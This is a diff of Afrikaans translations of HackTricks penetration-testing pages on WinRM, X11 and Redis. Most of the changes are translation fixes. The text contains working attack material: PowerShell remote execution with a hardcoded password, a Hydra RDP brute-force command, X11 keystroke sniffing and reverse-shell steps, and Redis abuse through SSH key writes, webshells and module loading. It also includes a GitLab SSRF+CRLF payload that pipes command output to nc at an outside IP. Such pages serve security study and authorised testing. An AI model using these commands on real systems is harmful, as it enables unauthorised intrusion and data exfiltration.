Om die opstelling van jou aanvalmasjien te verifieer, word die `Test-WSMan` opdrag gebruik om te kontroleer of die teiken WinRM korrek geconfigureer het. Deur hierdie opdrag uit te voer, moet jy verwag om besonderhede te ontvang rakende die protokolweergawe en wsmid, wat 'n suksesvolle konfigurasie aandui. Hieronder is voorbeelde wat die verwagte uitvoer vir 'n geconfigureerde teiken teenoor 'n ongeconfigureerde een demonstreer:
|
||||
Om die opstelling van jou aanvalmasjien te verifieer, word die `Test-WSMan` opdrag gebruik om te kyk of die teiken WinRM korrek geconfigureer het. Deur hierdie opdrag uit te voer, moet jy verwag om besonderhede te ontvang rakende die protokolweergawe en wsmid, wat 'n suksesvolle konfigurasie aandui. Hieronder is voorbeelde wat die verwagte uitvoer vir 'n geconfigureerde teiken teenoor 'n ongeconfigureerde een demonstreer:
|
||||
|
||||
* Vir 'n teiken wat **is** korrek geconfigureer, sal die uitvoer soos volg lyk:
|
||||
```bash
|
||||
|
@ -68,7 +68,7 @@ Die antwoord moet inligting bevat oor die protokolweergawe en wsmid, wat aandui
|
|||
|
||||
![](<../.gitbook/assets/image (582).png>)
|
||||
|
||||
* Omgekeerd, vir 'n teiken **nie** geconfigureer vir WinRM, sou dit lei tot geen sulke gedetailleerde inligting nie, wat die afwesigheid van 'n behoorlike WinRM-opstelling beklemtoon.
|
||||
* Omgekeerd, vir 'n teiken wat **nie** vir WinRM gekonfigureer is nie, sou dit lei tot geen sulke gedetailleerde inligting nie, wat die afwesigheid van 'n behoorlike WinRM-opstelling beklemtoon.
|
||||
|
||||
![](<../.gitbook/assets/image (458).png>)
|
||||
|
||||
|
@ -80,7 +80,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
|
|||
```
|
||||
![](<../.gitbook/assets/image (151).png>)
|
||||
|
||||
Jy kan ook **'n opdrag van jou huidige PS-konsol uitvoer via** _**Invoke-Command**_. Neem aan dat jy plaaslik 'n funksie genaamd _**enumeration**_ het en jy wil dit **op 'n afstand rekenaar uitvoer**, jy kan doen:
|
||||
Jy kan ook **'n opdrag van jou huidige PS-konsol uitvoer via** _**Invoke-Command**_. Neem aan dat jy plaaslik 'n funksie genaamd _**enumeration**_ het en jy wil **dit op 'n afstand rekenaar uitvoer**, jy kan doen:
|
||||
```powershell
|
||||
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
|
||||
```
|
||||
|
@ -94,7 +94,7 @@ Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep
|
|||
```
|
||||
### Kry 'n PS-sessie
|
||||
|
||||
Om 'n interaktiewe PowerShell-skal te kry, gebruik `Enter-PSSession`:
|
||||
Om 'n interaktiewe PowerShell-sessie te kry, gebruik `Enter-PSSession`:
|
||||
```powershell
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
|
@ -115,7 +115,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
|
|||
|
||||
**Die sessie sal in 'n nuwe proses (wsmprovhost) binne die "slagoffer" loop**
|
||||
|
||||
### **WinRM Dwing Om Te Oopmaak**
|
||||
### **WinRM Dwing om Oop te Wees**
|
||||
|
||||
Om PS Remoting en WinRM te gebruik, maar die rekenaar is nie geconfigureer nie, kan jy dit aktiveer met:
|
||||
```powershell
|
||||
|
@ -123,7 +123,7 @@ Om PS Remoting en WinRM te gebruik, maar die rekenaar is nie geconfigureer nie,
|
|||
```
|
||||
### Stoor en Herstel sessies
|
||||
|
||||
Dit **sal nie werk nie** as die **taal** in die afstandrekenaar **beperk** is.
|
||||
Dit **sal nie werk nie** as die **taal** op die afstandrekenaar **beperk** is.
|
||||
```powershell
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
|
@ -143,14 +143,14 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
|||
|
||||
As jy die volgende fout vind:
|
||||
|
||||
`enter-pssession : Verbinding met die afstandsbediener 10.10.10.175 het gefaal met die volgende foutboodskap : Die WinRM-kliënt kan die versoek nie verwerk nie. As die verifikasieskema verskil van Kerberos, of as die kliëntrekenaar nie aan 'n domein gekoppel is nie, moet HTTPS-vervoer gebruik word of die bestemmingsmasjien moet by die TrustedHosts-konfigurasie-instelling gevoeg word. Gebruik winrm.cmd om TrustedHosts te konfigureer. Let daarop dat rekenaars in die TrustedHosts-lys moontlik nie geverifieer is nie. Jy kan meer inligting daaroor kry deur die volgende opdrag uit te voer: winrm help config. Vir meer inligting, sien die about_Remote_Troubleshooting Help onderwerp.`
|
||||
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
|
||||
|
||||
Die poging op die kliënt (inligting van [hier](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
|
||||
```ruby
|
||||
winrm quickconfig
|
||||
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
|
@ -158,7 +158,7 @@ Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) be
|
|||
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnige hacking wêreld deur middel van regte tyd nuus en insigte
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur middel van regte tyd nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
@ -304,15 +304,15 @@ Name: Hydra Brute Force
|
|||
Description: Need User
|
||||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
**Hacking Inligting**\
|
||||
Betrek jouself by inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnige hacking wêreld deur middel van regte tyd nuus en insigte
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur middel van regte tyd nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
|
|
@ -15,7 +15,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en bug bounty jagters!
|
||||
|
||||
|
@ -32,7 +32,7 @@ Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike pla
|
|||
|
||||
## Basiese Inligting
|
||||
|
||||
**X Window System** (X) is 'n veelsydige vensterstelsel wat algemeen voorkom op UNIX-gebaseerde bedryfstelsels. Dit bied 'n raamwerk vir die skep van grafiese **gebruikersinterfaces (GUIs)**, met individuele programme wat die gebruikerskoppelvlakontwerp hanteer. Hierdie buigsaamheid stel in staat tot diverse en aanpasbare ervarings binne die X omgewing.
|
||||
**X Window System** (X) is 'n veelsydige vensterstelsel wat algemeen voorkom op UNIX-gebaseerde bedryfstelsels. Dit bied 'n raamwerk vir die skep van grafiese **gebruikersinterfaces (GUIs)**, met individuele programme wat die gebruikerskoppelvlakontwerp hanteer. Hierdie buigsaamheid stel gebruikers in staat om uiteenlopende en aanpasbare ervarings binne die X-omgewing te hê.
|
||||
|
||||
**Standaard poort:** 6000
|
||||
```
|
||||
|
@ -56,7 +56,7 @@ $ xxd ~/.Xauthority
|
|||
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
|
||||
00000030: 041d ef ...
|
||||
```
|
||||
> MIT-magic-cookie-1: Genereer 128bit van sleutel (“cookie”), stoor dit in \~/.Xauthority (of waar XAUTHORITY envvar na verwys). Die kliënt stuur dit na die bediener in die duidelike teks! die bediener kontroleer of dit 'n kopie van hierdie “cookie” het en indien wel, word die verbinding toegelaat. die sleutel word deur DMX gegenereer.
|
||||
> MIT-magic-cookie-1: Genereer 128bit van sleutel (“cookie”), stoor dit in \~/.Xauthority (of waar XAUTHORITY envvar na verwys). Die kliënt stuur dit na die bediener in die duidelike! die bediener kontroleer of dit 'n kopie van hierdie “cookie” het en indien wel, word die verbinding toegelaat. die sleutel word deur DMX gegenereer.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Om die **cookie** te **gebruik**, moet jy die env var instel: **`export XAUTHORITY=/path/to/.Xauthority`**
|
||||
|
@ -80,7 +80,7 @@ xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display
|
|||
|
||||
[xspy](http://tools.kali.org/sniffingspoofing/xspy) om die sleutelbordtoetsaanslagen te snuffel.
|
||||
|
||||
Voorbeelduitset:
|
||||
Voorbeelduitvoer:
|
||||
```
|
||||
xspy 10.9.xx.xx
|
||||
|
||||
|
@ -88,7 +88,7 @@ opened 10.9.xx.xx:0 for snoopng
|
|||
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
|
||||
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
|
||||
```
|
||||
## Skermskootcapturing
|
||||
## Skermskoot vang
|
||||
```bash
|
||||
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
|
||||
convert screenshot.xwd screenshot.png
|
||||
|
@ -99,10 +99,10 @@ Weg van: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-
|
|||
```
|
||||
./xrdp.py <IP:0>
|
||||
```
|
||||
```markdown
|
||||
Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||
|
||||
Eerst moet ons die ID van die venster vind met xwininfo
|
||||
```
|
||||
```
|
||||
xwininfo -root -display 10.9.xx.xx:0
|
||||
|
||||
xwininfo: Window id: 0x45 (the root window) (has no name)
|
||||
|
@ -130,7 +130,7 @@ Corners: +0+0 -0+0 -0-0 +0-0
|
|||
```
|
||||
**XWatchwin**
|
||||
|
||||
Vir **leefkyk** moet ons gebruik
|
||||
Vir **lewendige kyk** moet ons gebruik
|
||||
```bash
|
||||
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
|
||||
./xwatchwin 10.9.xx.xx:0 -w 0x45
|
||||
|
@ -139,7 +139,7 @@ Vir **leefkyk** moet ons gebruik
|
|||
```
|
||||
msf> use exploit/unix/x11/x11_keyboard_exec
|
||||
```
|
||||
**Reverse Shell:** Xrdp laat ook toe om 'n omgekeerde shell via Netcat te neem. Tik die volgende opdrag in:
|
||||
**Reverse Shell:** Xrdp laat ook toe om 'n omgekeerde shell te neem via Netcat. Tik die volgende opdrag in:
|
||||
```bash
|
||||
./xrdp.py \<IP:0> –no-disp
|
||||
```
|
||||
|
@ -161,20 +161,20 @@ Then, sit jou IP-adres en poort in die **R-Shell** opsie en klik op **R-shell**
|
|||
|
||||
* `port:6000 x11`
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
**Hacking Insights**\
|
||||
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
Engage with content that delves into the thrill and challenges of hacking
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Bly op hoogte van die vinnige hacking wêreld deur middel van regstreekse nuus en insigte
|
||||
Keep up-to-date with fast-paced hacking world through real-time news and insights
|
||||
|
||||
**Latest Announcements**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
Stay informed with the newest bug bounties launching and crucial platform updates
|
||||
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -15,12 +15,12 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en bug bounty jagters!
|
||||
|
||||
**Hacking Inligting**\
|
||||
Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur regte tyd nuus en insigte
|
||||
|
@ -43,7 +43,7 @@ PORT STATE SERVICE VERSION
|
|||
```
|
||||
## Outomatiese Enumerasie
|
||||
|
||||
Sommige outomatiese gereedskap wat kan help om inligting van 'n redis-instantie te verkry:
|
||||
Sommige outomatiese gereedskap wat kan help om inligting van 'n redis-instansie te verkry:
|
||||
```bash
|
||||
nmap --script redis-info -sV -p 6379 <IP>
|
||||
msf> use auxiliary/scanner/redis/redis_server
|
||||
|
@ -59,7 +59,7 @@ In 'n gewone Redis-instansie kan jy eenvoudig aansluit met `nc` of jy kan ook `r
|
|||
nc -vn 10.10.10.10 6379
|
||||
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
||||
```
|
||||
Die **eerste opdrag** wat jy kan probeer is **`info`**. Dit **kan uitvoer met inligting** van die Redis-instansie **of iets** soos die volgende teruggestuur word:
|
||||
Die **eerste opdrag** wat jy kan probeer is **`info`**. Dit **kan uitvoer teruggee met inligting** van die Redis-instansie **of iets** soos die volgende teruggestuur word:
|
||||
```
|
||||
-NOAUTH Authentication required.
|
||||
```
|
||||
|
@ -73,7 +73,7 @@ Ook kan 'n **gebruikersnaam** in die parameter `masteruser` binne die _**redis.c
|
|||
|
||||
{% hint style="info" %}
|
||||
As slegs 'n wagwoord geconfigureer is, is die gebruikersnaam wat gebruik word "**default**".\
|
||||
Let ook daarop dat daar **geen manier is om ekstern** te vind of Redis slegs met 'n wagwoord of gebruikersnaam + wagwoord geconfigureer is nie.
|
||||
Let ook daarop dat daar **geen manier is om ekstern te vind** of Redis geconfigureer is met slegs wagwoord of gebruikersnaam+wagwoord nie.
|
||||
{% endhint %}
|
||||
|
||||
In gevalle soos hierdie sal jy **geldige geloofsbriewe moet vind** om met Redis te kommunikeer, so jy kan probeer om dit te [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis).\
|
||||
|
@ -102,7 +102,7 @@ rename-command FLUSHDB ""
|
|||
```
|
||||
Meer oor die veilige konfigurasie van 'n Redis-diens hier: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
|
||||
|
||||
Jy kan ook **in werklike tyd die Redis-opdragte** monitor wat uitgevoer word met die opdrag **`monitor`** of die top **25 stadigste navrae** kry met **`slowlog get 25`**
|
||||
Jy kan ook **in werklike tyd die Redis-opdragte** monitor wat uitgevoer word met die opdrag **`monitor`** of die top **25 stadigste vrae** kry met **`slowlog get 25`**
|
||||
|
||||
Vind meer interessante inligting oor meer Redis-opdragte hier: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
|
||||
|
||||
|
@ -141,7 +141,7 @@ DUMP <key>
|
|||
```
|
||||
**Dump die databasis met npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **of python** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en bug bounty jagters!
|
||||
|
||||
|
@ -149,7 +149,7 @@ Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) be
|
|||
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnige hacking wêreld deur regte tyd nuus en insigte
|
||||
Bly op hoogte van die vinnige hacking wêreld deur middel van regte tyd nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
@ -199,16 +199,16 @@ sh.stderr.pipe(client);
|
|||
)()}}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Let daarop dat **verskeie sjabloon enjinne die** sjablone in **geheue** kas, so selfs al oorskryf jy hulle, sal die nuwe een **nie uitgevoer** word nie. In hierdie gevalle het die ontwikkelaar of die outomatiese herlaai aktief gelaat of jy moet 'n DoS oor die diens doen (en verwag dat dit outomaties herbegin sal word).
|
||||
Let daarop dat **verskeie sjabloon enjin** die sjablone in **geheue** kas, so selfs al oorskryf jy hulle, sal die nuwe een **nie uitgevoer** word nie. In hierdie gevalle het die ontwikkelaar of die outomatiese herlaai aktief gelaat of jy moet 'n DoS oor die diens doen (en verwag dat dit outomaties herlaai sal word).
|
||||
{% endhint %}
|
||||
|
||||
### SSH
|
||||
|
||||
Voorbeeld [van hier](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
|
||||
|
||||
Wees bewus dat die **`config get dir`** resultaat verander kan word na ander handmatige ontploffingsopdragte. Dit word voorgestel om dit eerste te loop reg na aanmelding in Redis. In die uitvoer van **`config get dir`** kan jy die **huis** van die **redis gebruiker** vind (gewoonlik _/var/lib/redis_ of _/home/redis/.ssh_), en as jy dit weet, weet jy waar jy die `authenticated_users` lêer kan skryf om via ssh **met die gebruiker redis** toegang te verkry. As jy die huis van 'n ander geldige gebruiker weet waar jy skryfrechten het, kan jy dit ook misbruik:
|
||||
Wees asseblief bewus dat die **`config get dir`** resultaat verander kan word na ander handmatige eksploitopdragte. Dit word voorgestel om dit eerste te loop reg na aanmelding in Redis. In die uitvoer van **`config get dir`** kan jy die **huis** van die **redis gebruiker** vind (gewoonlik _/var/lib/redis_ of _/home/redis/.ssh_), en as jy dit weet, weet jy waar jy die `authenticated_users` lêer kan skryf om via ssh **met die gebruiker redis** toegang te verkry. As jy die huis van 'n ander geldige gebruiker weet waar jy skryfrechten het, kan jy dit ook misbruik:
|
||||
|
||||
1. Genereer 'n ssh publieke-private sleutel paar op jou pc: **`ssh-keygen -t rsa`**
|
||||
1. Genereer 'n ssh publieke-private sleutel paar op jou rekenaar: **`ssh-keygen -t rsa`**
|
||||
2. Skryf die publieke sleutel na 'n lêer : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
||||
3. Importeer die lêer in redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
|
||||
4. Stoor die publieke sleutel in die **authorized\_keys** lêer op die redis bediener:
|
||||
|
@ -222,7 +222,7 @@ OK
|
|||
10.85.0.52:6379> save
|
||||
OK
|
||||
```
|
||||
5. Laastens, kan jy **ssh** na die **redis bediener** met private sleutel : **ssh -i id\_rsa redis@10.85.0.52**
|
||||
5. Laastens, kan jy **ssh** na die **redis bediener** met die private sleutel : **ssh -i id\_rsa redis@10.85.0.52**
|
||||
|
||||
**Hierdie tegniek is geoutomatiseer hier:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
||||
|
||||
|
@ -244,7 +244,7 @@ Hierdie metode kan ook gebruik word om bitcoin te verdien :[yam](https://www.v
|
|||
### Laai Redis Module
|
||||
|
||||
1. Volg die instruksies van [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) jy kan **'n redis module saamstel om arbitrêre opdragte uit te voer**.
|
||||
2. Dan het jy 'n manier nodig om die **saamgestelde** module te **laai**.
|
||||
2. Dan het jy 'n manier nodig om die **saamgestelde** module **op te laai**.
|
||||
3. **Laai die opgelaaide module** tydens uitvoering met `MODULE LOAD /path/to/mymodule.so`
|
||||
4. **Lys gelaaide modules** om te kontroleer of dit korrek gelaai is: `MODULE LIST`
|
||||
5. **Voer** **opdragte** uit:
|
||||
|
@ -260,7 +260,7 @@ Hierdie metode kan ook gebruik word om bitcoin te verdien :[yam](https://www.v
|
|||
|
||||
### LUA sandbox omseiling
|
||||
|
||||
[**Hier**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) kan jy sien dat Redis die opdrag **EVAL** gebruik om **Lua kode in 'n sandbox** uit te voer. In die gekoppelde pos kan jy sien **hoe om dit te misbruik** met die **dofile** funksie, maar [klaarblyklik](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) is dit nie meer moontlik nie. Hoe dit ook al sy, as jy die **Lua** sandbox kan **omseil** kan jy **arbitrêre** opdragte op die stelsel uitvoer. Ook, uit dieselfde pos kan jy 'n paar **opsies sien om DoS te veroorsaak**.
|
||||
[**Hier**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) kan jy sien dat Redis die opdrag **EVAL** gebruik om **Lua kode in 'n sandbox** uit te voer. In die gekoppelde pos kan jy sien **hoe om dit te misbruik** met die **dofile** funksie, maar [klaarblyklik](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) is dit nie meer moontlik nie. Hoe dit ook al sy, as jy die **Lua** sandbox kan **omseil**, kan jy **arbitrêre** opdragte op die stelsel uitvoer. Ook, uit dieselfde pos kan jy 'n paar **opsies sien om DoS te veroorsaak**.
|
||||
|
||||
Sommige **CVEs om uit LUA te ontsnap**:
|
||||
|
||||
|
@ -296,30 +296,30 @@ Daarom, as jy 'n **SSRF vuln** op 'n webwerf vind en jy kan **beheer** oor sommi
|
|||
|
||||
### Voorbeeld: Gitlab SSRF + CRLF na Shell
|
||||
|
||||
In **Gitlab11.4.7** is 'n **SSRF** kwesbaarheid en 'n **CRLF** ontdek. Die **SSRF** kwesbaarheid was in die **import project from URL functionality** wanneer 'n nuwe projek geskep word en het toegang tot arbitrêre IP's in die vorm \[0:0:0:0:0:ffff:127.0.0.1] moontlik gemaak (dit sal 127.0.0.1 benader), en die **CRLF** vuln is net **deur %0D%0A** karakters by die **URL** te voeg, uitgebuit.
|
||||
In **Gitlab11.4.7** is 'n **SSRF** kwesbaarheid en 'n **CRLF** ontdek. Die **SSRF** kwesbaarheid was in die **import project from URL functionality** wanneer 'n nuwe projek geskep word en het toegang tot arbitrêre IP's in die vorm \[0:0:0:0:0:ffff:127.0.0.1] toegelaat (dit sal 127.0.0.1 benader), en die **CRLF** vuln is net **deur %0D%0A** karakters by die **URL** te voeg, uitgebuit.
|
||||
|
||||
Daarom was dit moontlik om **hierdie kwesbaarhede te misbruik om met die Redis-instansie te praat** wat **queues** van **gitlab** bestuur en daardie queues te misbruik om **kode-uitvoering te verkry**. Die Redis queue misbruik payload is:
|
||||
Daarom was dit moontlik om **hierdie kwesbaarhede te misbruik om met die Redis-instansie te praat** wat **kwotasies** van **gitlab** bestuur en daardie kwotasies te misbruik om **kode-uitvoering te verkry**. Die Redis-kwota misbruik payload is:
|
||||
```
|
||||
multi
|
||||
sadd resque:gitlab:queues system_hook_push
|
||||
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
|
||||
exec
|
||||
```
|
||||
En die **URL encode** versoek **wat SSRF misbruik** en **CRLF** om 'n `whoami` uit te voer en die uitvoer terug te stuur via `nc` is:
|
||||
En die **URL encode** versoek **misbruik van SSRF** en **CRLF** om 'n `whoami` uit te voer en die uitvoer terug te stuur via `nc` is:
|
||||
```
|
||||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||||
```
|
||||
_Vir een of ander rede (soos vir die outeur van_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _waar hierdie inligting vandaan kom) het die uitbuiting gewerk met die `git` skema en nie met die `http` skema nie._
|
||||
_For een of ander rede (soos vir die outeur van_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _waar hierdie inligting vandaan kom) het die uitbuiting gewerk met die `git` skema en nie met die `http` skema nie._
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en bug bounty jagters!
|
||||
|
||||
**Hacking Inligting**\
|
||||
Betrek jouself by inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnige wêreld van hacking deur regte tyd nuus en insigte
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur middel van regte tyd nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
|
|
@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
<details>
|
||||
|
||||
